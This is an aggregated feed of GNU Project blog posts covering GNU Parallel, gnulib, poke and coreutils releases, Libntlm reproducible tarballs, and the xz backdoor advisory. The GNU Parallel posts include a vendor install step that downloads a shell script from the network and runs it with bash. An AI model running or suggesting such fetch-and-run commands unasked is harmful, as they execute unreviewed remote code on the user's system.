Aggregation of development blogs from the GNU Project
GNU Parallel 20240422 ('Børsen') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
I’m a big fan of GNU parallel!
-- Scott Cain @scottjcain@twitter
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu.org/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep 883c667e01eed62f975ad28b6d50e22a
12345678 883c667e 01eed62f 975ad28b 6d50e22a
$ md5sum install.sh | grep cc21b4c943fd03e93ae1ae49e28573c0
cc21b4c9 43fd03e9 3ae1ae49 e28573c0
$ sha512sum install.sh | grep ec113b49a54e705f86d51e784ebced224fdff3f52
79945d9d 250b42a4 2067bb00 99da012e c113b49a 54e705f8 6d51e784 ebced224
fdff3f52 ca588d64 e75f6033 61bd543f d631f592 2f87ceb2 ab034149 6df84a35
$ bash install.sh
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
22 April, 2024 09:12PM by Ole Tange
Hi, All:
Please join me in welcoming our new member:
User Details:
-------------
Name:
Login: integral
Email: integral@member.fsf.org
I wish integral a wonderful journey in GNU CTT.
Happy Hacking
wxie
22 April, 2024 12:56AM by Wensheng XIE
If you are developer on a package that uses GNU gnulib as part of its build system:
gnulib-tool has been known for being slow for many years. We have listened to your complaints. A rewrite of gnulib-tool in another programming language (Python) is ready for beta-testing. It is between 8 times and 100 times faster than the original gnulib-tool.
Both implementations should behave identically, that is, produce the same generated files and the same output. You can help us ensure this, through the following steps:
1. Make sure you have Python (version 3.7 or newer) installed on your machine.
2. Update your gnulib checkout. (For some packages, it comes as a git submodule named 'gnulib'.) Like this:
$ git checkout master
$ git pull
Set the environment variable GNULIB_SRCDIR, pointing to this checkout.
If the package is using a git submodule named 'gnulib', it is also advisable to do
$ git commit -m 'build: Update gnulib submodule to latest.' gnulib
(as a preparation for step 5, because the --no-git option does not work as expected in all variants of 'bootstrap').
3. Set an environment variable that enables checking that the two implementations behave the same:
$ export GNULIB_TOOL_IMPL=sh+py
4. Clean the built files of your package:
$ make -k distclean
5. Regenerate the fetched and generated files of your package. Depending on the package, this may be a command such as
$ ./bootstrap --no-git --gnulib-srcdir=$GNULIB_SRCDIR
or
$ export GNULIB_SRCDIR; ./autopull.sh; ./autogen.sh
or, if no such script is available:
$ $GNULIB_SRCDIR/gnulib-tool --update
If there is a failure, due to differences between the 'sh' and 'py' results, please report it to <bug-gnulib@gnu.org>.
6. If this invocation was successful, you can trust the rewritten gnulib-tool and use it from now on, by setting the environment variable
$ export GNULIB_TOOL_IMPL=py
7. Continue with
$ ./configure
$ make
as usual.
And enjoy the speed! The rewritten gnulib-tool was implemented by Dmitry Selyutin, Collin Funk, and me.
21 April, 2024 10:47AM by Bruno Haible
I will be delivering my talk, "It is easy to contribute to GNU," Saturday, May 4, 2024, 12:15--13:00 EDT (16:00 UTC), at the LibrePlanet 2024 conference, and I hope you’ll check it out!
LibrePlanet is a conference about software freedom, happening on May 4 & 5, 2024. The event is hosted by the Free Software Foundation (FSF), and brings together software developers, law and policy experts, activists, students, and computer users to learn skills, celebrate free software accomplishments, and face upcoming challenges. Newcomers are always welcome, and LibrePlanet 2024 will feature programming for all ages and experience levels.
*Please register in advance at <https://libreplanet.org/2024/>.*
wxie
17 April, 2024 11:30PM by Wensheng XIE
With the release of Libntlm version 1.8 the release tarball can be reproduced on several distributions. We also publish a signed minimal source-only tarball, produced by git-archive which is the same format used by Savannah, Codeberg, GitLab, GitHub and others. Reproducibility of both tarballs are tested continuously for regressions on GitLab through a CI/CD pipeline. If that wasn’t enough to excite you, the Debian packages of Libntlm are now built from the reproducible minimal source-only tarball. The resulting binaries are reproducible on several architectures.
What does that even mean? Why should you care? How you can do the same for your project? What are the open issues? Read on, dear reader…
This article describes my practical experiments with reproducible release artifacts, following up on my earlier thoughts that lead to discussion on Fosstodon and a patch by Janneke Nieuwenhuizen to make Guix tarballs reproducible that inspired me to some practical work.
Let’s look at how a maintainer release some software, and how a user can reproduce the released artifacts from the source code. Libntlm provides a shared library written in C and uses GNU Make, GNU Autoconf, GNU Automake, GNU Libtool and gnulib for build management, but these ideas should apply to most project and build system. The following illustrate the steps a maintainer would take to prepare a release:
git clone https://gitlab.com/gsasl/libntlm.git
cd libntlm
git checkout v1.8
./bootstrap
./configure
make distcheck
gpg -b libntlm-1.8.tar.gz
The generated files libntlm-1.8.tar.gz
and libntlm-1.8.tar.gz.sig
are published, and users download and use them. This is how the GNU project have been doing releases since the late 1980’s. That is a testament to how successful this pattern has been! These tarballs contain source code and some generated files, typically shell scripts generated by autoconf, makefile templates generated by automake, documentation in formats like Info, HTML, or PDF. Rarely do they contain binary object code, but historically that happened.
The XZUtils incident illustrate that tarballs with files that are not included in the git archive offer an opportunity to disguise malicious backdoors. I blogged earlier how to mitigate this risk by using signed minimal source-only tarballs.
The risk of hiding malware is not the only motivation to publish signed minimal source-only tarballs. With pre-generated content in tarballs, there is a risk that GNU/Linux distributions such as Trisquel, Guix, Debian/Ubuntu or Fedora ship generated files coming from the tarball into the binary *.deb
or *.rpm
package file. Typically the person packaging the upstream project never realized that some installed artifacts was not re-built through a typical autoconf -fi && ./configure && make install
sequence, and never wrote the code to rebuild everything. This can also happen if the build rules are written but are buggy, shipping the old artifact. When a security problem is found, this can lead to time-consuming situations, as it may be that patching the relevant source code and rebuilding the package is not sufficient: the vulnerable generated object from the tarball would be shipped into the binary package instead of a rebuilt artifact. For architecture-specific binaries this rarely happens, since object code is usually not included in tarballs — although for 10+ years I shipped the binary Java JAR file in the GNU Libidn release tarball, until I stopped shipping it. For interpreted languages and especially for generated content such as HTML, PDF, shell scripts this happens more than you would like.
Publishing minimal source-only tarballs enable easier auditing of a project’s code, to avoid the need to read through all generated files looking for malicious content. I have taken care to generate the source-only minimal tarball using git-archive
. This is the same format that GitLab, GitHub etc offer for the automated download links on git tags. The minimal source-only tarballs can thus serve as a way to audit GitLab and GitHub download material! Consider if/when hosting sites like GitLab or GitHub has a security incident that cause generated tarballs to include a backdoor that is not present in the git repository. If people rely on the tag download artifact without verifying the maintainer PGP signature using GnuPG, this can lead to similar backdoor scenarios that we had for XZUtils but originated with the hosting provider instead of the release manager. This is even more concerning, since this attack can be mounted for some selected IP address that you want to target and not on everyone, thereby making it harder to discover.
With all that discussion and rationale out of the way, let’s return to the release process. I have added another step here:
make srcdist
gpg -b libntlm-1.8-src.tar.gz
Now the release is ready. I publish these four files in the Libntlm’s Savannah Download area, but they can be uploaded to a GitLab/GitHub release area as well. These are the SHA256 checksums I got after building the tarballs on my Trisquel 11 aramo laptop:
91de864224913b9493c7a6cec2890e6eded3610d34c3d983132823de348ec2ca libntlm-1.8-src.tar.gz
ce6569a47a21173ba69c990965f73eb82d9a093eb871f935ab64ee13df47fda1 libntlm-1.8.tar.gz
So how can you reproduce my artifacts? Here is how to reproduce them in a Ubuntu 22.04 container:
podman run -it --rm ubuntu:22.04
apt-get update
apt-get install -y --no-install-recommends autoconf automake libtool make git ca-certificates
git clone https://gitlab.com/gsasl/libntlm.git
cd libntlm
git checkout v1.8
./bootstrap
./configure
make dist srcdist
sha256sum libntlm-*.tar.gz
You should see the exact same SHA256 checksum values. Hooray!
This works because Trisquel 11 and Ubuntu 22.04 uses the same version of git, autoconf, automake, and libtool. These tools do not guarantee the same output content for all versions, similar to how GNU GCC does not generate the same binary output for all versions. So there is still some delicate version pairing needed.
Ideally, the artifacts should be possible to reproduce from the release artifacts themselves, and not only directly from git. It is possible to reproduce the full tarball in a AlmaLinux 8 container – replace almalinux:8
with rockylinux:8
if you prefer RockyLinux:
podman run -it --rm almalinux:8
dnf update -y
dnf install -y make wget gcc
wget https://download.savannah.nongnu.org/releases/libntlm/libntlm-1.8.tar.gz
tar xfa libntlm-1.8.tar.gz
cd libntlm-1.8
./configure
make dist
sha256sum libntlm-1.8.tar.gz
The source-only minimal tarball can be regenerated on Debian 11:
podman run -it --rm debian:11
apt-get update
apt-get install -y --no-install-recommends make git ca-certificates
git clone https://gitlab.com/gsasl/libntlm.git
cd libntlm
git checkout v1.8
make -f cfg.mk srcdist
sha256sum libntlm-1.8-src.tar.gz
As the Magnus Opus or chef-d’œuvre, let’s recreate the full tarball directly from the minimal source-only tarball on Trisquel 11 – replace docker.io/kpengboy/trisquel:11.0
with ubuntu:22.04
if you prefer.
podman run -it --rm docker.io/kpengboy/trisquel:11.0
apt-get update
apt-get install -y --no-install-recommends autoconf automake libtool make wget git ca-certificates
wget https://download.savannah.nongnu.org/releases/libntlm/libntlm-1.8-src.tar.gz
tar xfa libntlm-1.8-src.tar.gz
cd libntlm-v1.8
./bootstrap
./configure
make dist
sha256sum libntlm-1.8.tar.gz
Yay! You should now have great confidence in that the release artifacts correspond to what’s in version control and also to what the maintainer intended to release. Your remaining job is to audit the source code for vulnerabilities, including the source code of the dependencies used in the build. You no longer have to worry about auditing the release artifacts.
I find it somewhat amusing that the build infrastructure for Libntlm is now in a significantly better place than the code itself. Libntlm is written in old C style with plenty of string manipulation and uses broken cryptographic algorithms such as MD4 and single-DES. Remember folks: solving supply chain security issues has no bearing on what kind of code you eventually run. A clean gun can still shoot you in the foot.
Side note on naming: GitLab exports tarballs with pathnames libntlm-v1.8/
(i.e.., PROJECT-TAG/
) and I’ve adopted the same pathnames, which means my libntlm-1.8-src.tar.gz
tarballs are bit-by-bit identical to GitLab’s exports and you can verify this with tools like diffoscope. GitLab name the tarball libntlm-v1.8.tar.gz
(i.e., PROJECT-TAG.ARCHIVE
) which I find too similar to the libntlm-1.8.tar.gz
that we also publish. GitHub uses the same git archive style, but unfortunately they have logic that removes the ‘v’ in the pathname so you will get a tarball with pathname libntlm-1.8/
instead of libntlm-v1.8/
that GitLab and I use. The content of the tarball is bit-by-bit identical, but the pathname and archive differs. Codeberg (running Forgejo) uses another approach: the tarball is called libntlm-v1.8.tar.gz
(after the tag) just like GitLab, but the pathname inside the archive is libntlm/
, otherwise the produced archive is bit-by-bit identical including timestamps. Savannah’s CGIT interface uses archive name libntlm-1.8.tar.gz
with pathname libntlm-1.8/
, but otherwise file content is identical. Savannah’s GitWeb interface provides snapshot links that are named after the git commit (e.g., libntlm-a812c2ca.tar.gz
with libntlm-a812c2ca/
) and I cannot find any tag-based download links at all. Overall, we are so close to get SHA256 checksum to match, but fail on pathname within the archive. I’ve chosen to be compatible with GitLab regarding the content of tarballs but not on archive naming. From a simplicity point of view, it would be nice if everyone used PROJECT-TAG.ARCHIVE
for the archive filename and PROJECT-TAG/
for the pathname within the archive. This aspect will probably need more discussion.
Side note on git archive output: It seems different versions of git archive produce different results for the same repository. The version of git in Debian 11, Trisquel 11 and Ubuntu 22.04 behave the same. The version of git in Debian 12, AlmaLinux/RockyLinux 8/9, Alpine, ArchLinux, macOS homebrew, and upcoming Ubuntu 24.04 behave in another way. Hopefully this will not change that often, but this would invalidate reproducibility of these tarballs in the future, forcing you to use an old git release to reproduce the source-only tarball. Alas, GitLab and most other sites appears to be using modern git so the download tarballs from them would not match my tarballs – even though the content would.
Side note on ChangeLog: ChangeLog files were traditionally manually curated files with version history for a package. In recent years, several projects moved to dynamically generate them from git history (using tools like git2cl or gitlog-to-changelog). This has consequences for reproducibility of tarballs: you need to have the entire git history available! The gitlog-to-changelog
tool also output different outputs depending on the time zone of the person using it, which arguable is a simple bug that can be fixed. However this entire approach is incompatible with rebuilding the full tarball from the minimal source-only tarball. It seems Libntlm’s ChangeLog file died on the surgery table here.
So how would a distribution build these minimal source-only tarballs? I happen to help on the libntlm package in Debian. It has historically used the generated tarballs as the source code to build from. This means that code coming from gnulib is vendored in the tarball. When a security problem is discovered in gnulib code, the security team needs to patch all packages that include that vendored code and rebuild them, instead of merely patching the gnulib package and rebuild all packages that rely on that particular code. To change this, the Debian libntlm package needs to Build-Depends on Debian’s gnulib package. But there was one problem: similar to most projects that use gnulib, Libntlm depend on a particular git commit of gnulib, and Debian only ship one commit. There is no coordination about which commit to use. I have adopted gnulib in Debian, and add a git bundle to the *_all.deb
binary package so that projects that rely on gnulib can pick whatever commit they need. This allow an no-network GNULIB_URL
and GNULIB_REVISION
approach when running Libntlm’s ./bootstrap
with the Debian gnulib package installed. Otherwise libntlm would pick up whatever latest version of gnulib that Debian happened to have in the gnulib package, which is not what the Libntlm maintainer intended to be used, and can lead to all sorts of version mismatches (and consequently security problems) over time. Libntlm in Debian is developed and tested on Salsa and there is continuous integration testing of it as well, thanks to the Salsa CI team.
Side note on git bundles: unfortunately there appears to be no reproducible way to export a git repository into one or more files. So one unfortunate consequence of all this work is that the gnulib *.orig.tar.gz
tarball in Debian is not reproducible any more. I have tried to get Git bundles to be reproducible but I never got it to work — see my notes in gnulib’s debian/README.source on this aspect. Of course, source tarball reproducibility has nothing to do with binary reproducibility of gnulib in Debian itself, fortunately.
One open question is how to deal with the increased build dependencies that is triggered by this approach. Some people are surprised by this but I don’t see how to get around it: if you depend on source code for tools in another package to build your package, it is a bad idea to hide that dependency. We’ve done it for a long time through vendored code in non-minimal tarballs. Libntlm isn’t the most critical project from a bootstrapping perspective, so adding git and gnulib as Build-Depends
to it will probably be fine. However, consider if this pattern was used for other packages that uses gnulib such as coreutils, gzip, tar, bison etc (all are using gnulib) then they would all Build-Depends
on git and gnulib. Cross-building those packages for a new architecture will therefor require git on that architecture first, which gets circular quick. The dependency on gnulib is real so I don’t see that going away, and gnulib is a Architecture:all
package. However, the dependency on git is merely a consequence of how the Debian gnulib package chose to make all gnulib git commits available to projects: through a git bundle. There are other ways to do this that doesn’t require the git tool to extract the necessary files, but none that I found practical — ideas welcome!
Finally some brief notes on how this was implemented. Enabling bootstrappable source-only minimal tarballs via gnulib’s ./bootstrap
is achieved by using the GNULIB_REVISION
mechanism, locking down the gnulib commit used. I have always disliked git submodules because they add extra steps and has complicated interaction with CI/CD. The reason why I gave up git submodules now is because the particular commit to use is not recorded in the git archive
output when git submodules is used. So the particular gnulib commit has to be mentioned explicitly in some source code that goes into the git archive tarball. Colin Watson added the GNULIB_REVISION approach to ./bootstrap
back in 2018, and now it no longer made sense to continue to use a gnulib git submodule. One alternative is to use ./bootstrap
with --gnulib-srcdir
or --gnulib-refdir
if there is some practical problem with the GNULIB_URL
towards a git bundle the GNULIB_REVISION
in bootstrap.conf
.
The srcdist make rule is simple:
git archive --prefix=libntlm-v1.8/ -o libntlm-v1.8.tar.gz HEAD
Making the make dist
generated tarball reproducible can be more complicated, however for Libntlm it was sufficient to make sure the modification times of all files were set deterministically to the timestamp of the last commit in the git repository. Interestingly there seems to be a couple of different ways to accomplish this, Guix doesn’t support minimal source-only tarballs but rely on a .tarball-timestamp file inside the tarball. Paul Eggert explained what TZDB is using some time ago. The approach I’m using now is fairly similar to the one I suggested over a year ago. If there are problems because all files in the tarball now use the same modification time, there is a solution by Bruno Haible that could be implemented.
Side note on git tags: Some people may wonder why not verify a signed git tag instead of verifying a signed tarball of the git archive. Currently most git repositories uses SHA-1 for git commit identities, but SHA-1 is not a secure hash function. While current SHA-1 attacks can be detected and mitigated, there are fundamental doubts that a git SHA-1 commit identity uniquely refers to the same content that was intended. Verifying a git tag will never offer the same assurance, since a git tag can be moved or re-signed at any time. Verifying a git commit is better but then we need to trust SHA-1. Migrating git to SHA-256 would resolve this aspect, but most hosting sites such as GitLab and GitHub does not support this yet. There are other advantages to using signed tarballs instead of signed git commits or git tags as well, e.g., tar.gz
can be a deterministically reproducible persistent stable offline storage format but .git
sub-directory trees or git bundles do not offer this property.
Doing continous testing of all this is critical to make sure things don’t regress. Libntlm’s pipeline definition now produce the generated libntlm-*.tar.gz
tarballs and a checksum as a build artifact. Then I added the 000-reproducability
job which compares the checksums and fails on mismatches. You can read its delicate output in the job for the v1.8 release. Right now we insists that builds on Trisquel 11 match Ubuntu 22.04, that PureOS 10 builds match Debian 11 builds, that AlmaLinux 8 builds match RockyLinux 8 builds, and AlmaLinux 9 builds match RockyLinux 9 builds. As you can see in pipeline job output, not all platforms lead to the same tarballs, but hopefully this state can be improved over time. There is also partial reproducibility, where the full tarball is reproducible across two distributions but not the minimal tarball, or vice versa.
If this way of working plays out well, I hope to implement it in other projects too.
What do you think? Happy Hacking!
13 April, 2024 04:44PM by simon
Stow 2.4.0 has been released. This release contains some much-wanted bug-fixes — specifically, fixing the --dotfiles option to work with dot-foo directories, and avoiding a spurious warning when unstowing. There were also very many clean-ups and improvements, mostly internal and not visible to users. See http://git.savannah.gnu.org/cgit/stow.git/tree/NEWS for more details.
07 April, 2024 11:22PM by Adam Spiers
While the work to analyze the xz backdoor is in progress, several ideas have been suggested to improve the software supply chain ecosystem. Some of those ideas are good, some of the ideas are at best irrelevant and harmless, and some suggestions are plain bad. I’d like to attempt to formalize two ideas, which have been discussed before, but the context in which they can be appreciated have not been as clear as it is today.
My strawman proposal to improve things is to define new tarball format *-src.tar.gz
with at least the following properties:
*.po
gettext translations which are normally downloaded when building from version controlled sources../bootstrap
to set up the package to later be able to be built via ./configure
. Of course, some projects are not using the autotool ./configure
interface and will not follow this aspect either, but like most build systems that compete with autotools have instructions on how to build the project, they should document similar interfaces for bootstrapping the source tarball to allow building.If tarballs that achieve the above goals were available from popular upstream projects, distributions could more easily use them instead of current tarballs that include pre-generated content. The advantage would be that the build process is not tainted by “unnecessary” files. We need to develop tools for maintainers to create these tarballs, similar to make dist
that generate today’s foo-1.2.3.tar.gz
files.
I think one common argument against this approach will be: Why bother with all that, and just use git-archive outputs? Or avoid the entire tarball approach and move directly towards version controlled check outs and referring to upstream releases as git URL and commit tag or id. One problem with this is that SHA-1 is broken, so placing trust in a SHA-1 identifier is simply not secure. Another counter-argument is that this optimize for packagers’ benefits at the cost of upstream maintainers: most upstream maintainers do not want to store gettext *.po
translations in their source code repository. A compromise between the needs of maintainers and packagers is useful, so this *-src.tar.gz
tarball approach is the indirection we need to solve that. Update: In my experiment with source-only tarballs for Libntlm I actually did use git-archive output.
What do you think?
01 April, 2024 10:28AM by simon
GNU Parallel 20240322 ('Sweden') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU parallel ftw
-- hostux.social/@rmpr @_paulmairo@twitter
New in this release:
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
find . -name '*.jpg' |
parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
You can find more about GNU Parallel at: http://www.gnu.org/s/parallel/
You can install GNU Parallel in just 10 seconds with:
$ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
fetch -o - http://pi.dk/3 ) > install.sh
$ sha1sum install.sh | grep 883c667e01eed62f975ad28b6d50e22a
12345678 883c667e 01eed62f 975ad28b 6d50e22a
$ md5sum install.sh | grep cc21b4c943fd03e93ae1ae49e28573c0
cc21b4c9 43fd03e9 3ae1ae49 e28573c0
$ sha512sum install.sh | grep ec113b49a54e705f86d51e784ebced224fdff3f52
79945d9d 250b42a4 2067bb00 99da012e c113b49a 54e705f8 6d51e784 ebced224
fdff3f52 ca588d64 e75f6033 61bd543f d631f592 2f87ceb2 ab034149 6df84a35
$ bash install.sh
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
If you use programs that use GNU Parallel for research:
If GNU Parallel saves you money:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
31 March, 2024 09:11PM by Ole Tange
I am happy to announce the first release of poke-elf, version 1.0.
The tarball poke-elf-1.0.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-elf-1.0.tar.gz.
> poke-elf (https://jemarch.net/poke-elf) is a full-fledged GNU poke pickle for editing ELF object
> files, executables, shared libraries and core dumps. It supports
> many architectures and extensions.
>
> This pickle is part of the GNU poke project.
>
> GNU poke (https://jemarch.net/poke) is an interactive, extensible
> editor for binary data. Not limited to editing basic entities such
> as bits and bytes, it provides a full-fledged procedural,
> interactive programming language designed to describe data
> structures and to operate on them.
Please send us comments, suggestions, bug reports, patches,
questions, complaints, bitcoins, or whatever, to poke-devel@gnu.org.
Happy ELF poking!
---
Jose E. Marchesi
Frankfurt am Main
30 March 2024
30 March, 2024 07:08PM by Jose E. Marchesi
I am happy to announce a new major release of GNU poke, version 4.0.
This release is the result of a year of development. A lot of things
have changed and improved with respect to the 3.x series; we have
fixed many bugs and added quite a lot of new exciting and useful
features. See below for a description of many of them.
The tarball poke-4.0.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-4.0.tar.gz.
> GNU poke (http://www.jemarch.net/poke) is an interactive, extensible
> editor for binary data. Not limited to editing basic entities such
> as bits and bytes, it provides a full-fledged procedural,
> interactive programming language designed to describe data
> structures and to operate on them.
Thanks to the people who contributed with code and/or documentation to
this release.
Once again, our special thanks to Bruno Haible for his invaluable advise and his help in throughfully testing this new release in many different platforms and configurations.
What is new in this release:
---
Jose E. Marchesi
Frankfurt am Main
30 March 2024
30 March, 2024 06:15PM by Jose E. Marchesi
From: "Arch Linux: Recent news updates: David Runge" arch-announce@lists.archlinux.org
TL;DR: Upgrade your systems and container images now!
As many of you may have already read 1, the upstream release tarballs for xz
in version 5.6.0
and 5.6.1
contain malicious code which adds a backdoor.
This vulnerability is tracked in the Arch Linux security tracker 2.
The xz
packages prior to version 5.6.1-2
(specifically 5.6.0-1
and 5.6.1-1
) contain this backdoor.
We strongly advise against using affected release artifacts and instead downloading what is currently available as latest version!
It is strongly advised to do a full system upgrade right away if your system currently has xz
version 5.6.0-1
or 5.6.1-1
installed:
pacman -Syu
From the upstream report 1:
> openssh does not directly use liblzma. However debian and several other distributions patch openssh to support systemd notification, and libsystemd does depend on lzma.
Arch does not directly link openssh to liblzma, and thus this attack vector is not possible. You can confirm this by issuing the following command:
ldd "$(command -v sshd)"
However, out of an abundance of caution, we advise users to remove the malicious code from their system by upgrading either way. This is because other yet-to-be discovered methods to exploit the backdoor could exist.
URL: https://archlinux.org/news/the-xz-package-has-been-backdoored/
29 March, 2024 07:32PM by bill auger
Noteworthy changes in release 1.24.5 (2024-03-10) [stable]
29 March, 2024 11:28AM by Darshit Shah
This is to announce coreutils-9.5, a stable release.
See the NEWS below for a summary of changes.
There have been 187 commits by 18 people in the 30 weeks since 9.4.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Aearil (1) Petr Malat (1)
Bruno Haible (3) Pádraig Brady (75)
Christian Göttsche (1) Samuel Tardieu (1)
Collin Funk (4) Stephane Chazelas (1)
Daan De Meyer (1) Stephen Kitt (1)
Greg Wooledge (1) Sylvestre Ledru (3)
Grisha Levit (2) Ville Skyttä (1)
Michel Lind (1) dann frazier (1)
Paul Eggert (89) lvgenggeng (1)
Pádraig [on behalf of the coreutils maintainers]
==================================================================
Here is the GNU coreutils home page:
https://gnu.org/s/coreutils/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.5
or run this command from a git-cloned coreutils directory:
git shortlog v9.4..v9.5
Here are the compressed sources:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz (15MB)
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz (5.8MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz.sig
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are the SHA1 and SHA256 checksums:
3285114d93b39e5e4643b0846f570203a5e4c97b coreutils-9.5.tar.gz
dnrmoilQ7ELzul98Heed0ngA7o6bhkLaXe21l0oXQeU= coreutils-9.5.tar.gz
867fed7ce2ee15c5150a355a5f3a3b50578cf78d coreutils-9.5.tar.xz
zTKO3qyS9qZl3p8yPJO3Eq8YWLwuDYjz9xAEaUcKG4o= coreutils-9.5.tar.xz
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.5.tar.gz.sig
The signature should match the fingerprint of the following key:
pub rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]
Key fingerprint = 6C37 DC12 121A 5006 BC1D B804 DF6F D971 3060 37D9
uid [ultimate] Pádraig Brady <P@draigBrady.com>
uid [ultimate] Pádraig Brady <pixelbeat@gnu.org>
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
gpg --locate-external-key P@draigBrady.com
gpg --recv-keys DF6FD971306037D9
wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&download=1' | gpg --import -
As a last resort to find the key, you can try the official GNU
keyring:
wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify coreutils-9.5.tar.gz.sig
This release was bootstrapped with the following tools:
Autoconf 2.72c.32-cb6fb
Automake 1.16.5
Gnulib v0.1-7293-g259829e78b
Bison 3.8.2
NEWS
* Noteworthy changes in release 9.5 (2024-03-28) [stable]
** Bug fixes
chmod -R now avoids a race where an attacker may replace a traversed file
with a symlink, causing chmod to operate on an unintended file.
[This bug was present in "the beginning".]
cp, mv, and install no longer issue spurious diagnostics like "failed
to preserve ownership" when copying to GNU/Linux CIFS file systems.
They do this by working around some Linux CIFS bugs.
cp --no-preserve=mode will correctly maintain set-group-ID bits
for created directories. Previously on systems that didn't support ACLs,
cp would have reset the set-group-ID bit on created directories.
[bug introduced in coreutils-8.20]
join and uniq now support multi-byte characters better.
For example, 'join -tX' now works even if X is a multi-byte character,
and both programs now treat multi-byte characters like U+3000
IDEOGRAPHIC SPACE as blanks if the current locale treats them so.
numfmt options like --suffix no longer have an arbitrary 127-byte limit.
[bug introduced with numfmt in coreutils-8.21]
mktemp with --suffix now better diagnoses templates with too few X's.
Previously it conflated the insignificant --suffix in the error.
[bug introduced in coreutils-8.1]
